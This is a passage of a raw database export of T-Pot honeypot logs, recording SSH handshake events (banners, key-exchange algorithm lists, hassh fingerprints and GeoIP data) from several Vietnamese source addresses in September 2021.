20818	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:12.225928+03	2021-09-20 14:15:02.862612+03	{"_id": "wAXiAnwBvYTbRNuEiPt1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1879829526071712, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 42446, "dest_port": 22, "timestamp": "2021-09-20T11:06:12.225928Z", "@timestamp": "2021-09-20T11:06:12.225Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20819	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:11.98134+03	2021-09-20 14:15:02.863613+03	{"_id": "vgXiAnwBvYTbRNuEiPt1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2023513361976912, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47684, "dest_port": 22, "timestamp": "2021-09-20T11:06:11.981340Z", "@timestamp": "2021-09-20T11:06:11.981Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20820	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:12.227714+03	2021-09-20 14:15:02.864612+03	{"_id": "xgXiAnwBvYTbRNuEifuT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "26fb2e2ff8e6", "@version": "1", "timestamp": "2021-09-20T11:06:12.227714Z", "@timestamp": "2021-09-20T11:06:12.227Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20821	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:11.98174+03	2021-09-20 14:15:02.865612+03	{"_id": "zQXiAnwBvYTbRNuEifuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47684, "dest_port": 22, "timestamp": "2021-09-20T11:06:11.981740", "@timestamp": "2021-09-20T11:06:11.981Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20822	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:06:12.007765+03	2021-09-20 14:15:02.867613+03	{"_id": "zgXiAnwBvYTbRNuEifuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54194, "dest_port": 22, "timestamp": "2021-09-20T11:06:12.007765", "@timestamp": "2021-09-20T11:06:12.007Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20823	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:06:12.046835+03	2021-09-20 14:15:02.868613+03	{"_id": "zwXiAnwBvYTbRNuEifuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48186, "dest_port": 22, "timestamp": "2021-09-20T11:06:12.046835", "@timestamp": "2021-09-20T11:06:12.046Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20824	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:12.056751+03	2021-09-20 14:15:02.870613+03	{"_id": "0AXiAnwBvYTbRNuEifuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52174, "timestamp": "2021-09-20T11:06:12.056751", "@timestamp": "2021-09-20T11:06:12.056Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20825	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:06:12.07658+03	2021-09-20 14:15:02.871612+03	{"_id": "0QXiAnwBvYTbRNuEifuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": 